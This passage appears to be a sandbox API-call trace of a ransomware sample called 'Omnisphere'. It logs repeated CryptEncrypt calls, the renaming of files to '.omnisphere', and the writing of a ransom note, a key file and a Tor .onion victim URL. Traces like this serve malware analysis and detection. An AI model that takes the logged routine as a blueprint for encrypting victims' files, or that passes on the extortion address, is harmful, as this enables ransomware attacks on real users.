pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.165] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.165] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.165] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.165] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.165] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.165] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.165] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.165] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.165] CryptDestroyKey (hKey=0x16395e8) returned 1 [0120.165] CryptReleaseContext (hProv=0x1668d68, dwFlags=0x0) returned 1 [0120.165] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x292, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0120.165] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0120.165] GetProcessHeap () returned 0x1600000 [0120.165] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b2) returned 0x16c0af0 [0120.165] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FbEeBr9puYmz.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fbeebr9puymz.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FbEeBr9puYmz.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fbeebr9puymz.lnk.omnisphere")) returned 1 [0120.166] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FbEeBr9puYmz.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FbEeBr9puYmz.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FbEeBr9puYmz.lnk.omnisphere.id" [0120.166] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FbEeBr9puYmz.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fbeebr9puymz.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0120.166] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0120.167] CloseHandle (hObject=0x3c0) returned 1 [0120.167] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0120.167] CloseHandle (hObject=0x288) returned 1 [0120.167] SetEndOfFile (hFile=0x28c) returned 1 [0120.167] FlushFileBuffers (hFile=0x28c) returned 1 [0120.174] CloseHandle (hObject=0x28c) returned 1 [0120.174] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FbEeBr9puYmz.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0120.174] GetProcessHeap () returned 0x1600000 [0120.174] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16c9018 [0120.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0120.174] GetProcessHeap () returned 0x1600000 [0120.174] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1c58 [0120.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1c58, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0120.174] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0120.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0120.175] GetProcessHeap () returned 0x1600000 [0120.175] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16affe8 [0120.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16affe8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0120.175] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0120.175] GetProcessHeap () returned 0x1600000 [0120.175] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bf248 [0120.175] PathCombineW (in: pszDest=0x16bf248, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0120.175] GetProcessHeap () returned 0x1600000 [0120.175] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16c66f0 [0120.175] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.175] WriteFile (in: hFile=0x28c, lpBuffer=0x16c66f0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16c66f0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0120.175] CloseHandle (hObject=0x28c) returned 1 [0120.175] GetProcessHeap () returned 0x1600000 [0120.175] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16c9018 | out: hHeap=0x1600000) returned 1 [0120.175] GetProcessHeap () returned 0x1600000 [0120.175] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e838 [0120.175] PathCombineW (in: pszDest=0x162e838, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0120.175] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.176] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0120.176] CloseHandle (hObject=0x28c) returned 1 [0120.176] GetProcessHeap () returned 0x1600000 [0120.176] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e838 | out: hHeap=0x1600000) returned 1 [0120.176] GetProcessHeap () returned 0x1600000 [0120.176] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0120.176] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20892ea8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20892ea8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x20892ea8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x489, dwReserved0=0x0, dwReserved1=0xd3, cFileName="fo1k6w.flv.lnk", cAlternateFileName="FO1K6W~1.LNK")) returned 1 [0120.176] GetProcessHeap () returned 0x1600000 [0120.176] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9e) returned 0x1656a18 [0120.176] PathCombineW (in: pszDest=0x1656a18, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="fo1k6w.flv.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fo1k6w.flv.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fo1k6w.flv.lnk" [0120.176] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0120.177] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fo1k6w.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fo1k6w.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.177] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1161) returned 1 [0120.177] GetTickCount () returned 0x115e069 [0120.177] GetTickCount () returned 0x115e069 [0120.177] GetTickCount () returned 0x115e069 [0120.177] GetTickCount () returned 0x115e069 [0120.177] GetTickCount () returned 0x115e069 [0120.177] GetTickCount () returned 0x115e069 [0120.177] GetTickCount () returned 0x115e069 [0120.177] GetTickCount () returned 0x115e069 [0120.177] GetTickCount () returned 0x115e069 [0120.177] GetTickCount () returned 0x115e069 [0120.177] GetTickCount () returned 0x115e069 [0120.177] GetTickCount () returned 0x115e069 [0120.177] GetTickCount () returned 0x115e069 [0120.177] GetTickCount () returned 0x115e069 [0120.177] GetTickCount () returned 0x115e069 [0120.177] GetTickCount () returned 0x115e069 [0120.177] GetTickCount () returned 0x115e069 [0120.177] GetTickCount () returned 0x115e069 [0120.177] GetTickCount () returned 0x115e069 [0120.177] GetTickCount () returned 0x115e069 [0120.178] GetTickCount () returned 0x115e069 [0120.178] GetTickCount () returned 0x115e069 [0120.178] GetTickCount () returned 0x115e069 [0120.178] GetTickCount () returned 0x115e069 [0120.178] GetTickCount () returned 0x115e069 [0120.178] GetTickCount () returned 0x115e069 [0120.178] GetTickCount () returned 0x115e069 [0120.178] GetTickCount () returned 0x115e069 [0120.178] GetTickCount () returned 0x115e069 [0120.178] GetTickCount () returned 0x115e069 [0120.178] GetTickCount () returned 0x115e069 [0120.178] GetTickCount () returned 0x115e069 [0120.178] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668570) returned 1 [0120.179] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0120.179] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0120.179] CryptDestroyKey (hKey=0x1639b28) returned 1 [0120.179] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0120.179] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x489, lpName=0x0) returned 0x288 [0120.179] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x489) returned 0x1480000 [0120.179] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16691a8) returned 1 [0120.180] CryptImportKey (in: hProv=0x16691a8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0120.180] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0120.180] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0120.180] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.180] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.180] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.180] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.180] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.180] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.180] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.180] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.180] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.180] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.180] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.180] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.180] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.181] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.181] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.181] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.181] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.181] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.181] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.181] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.181] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.181] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.181] CryptEncrypt (in: 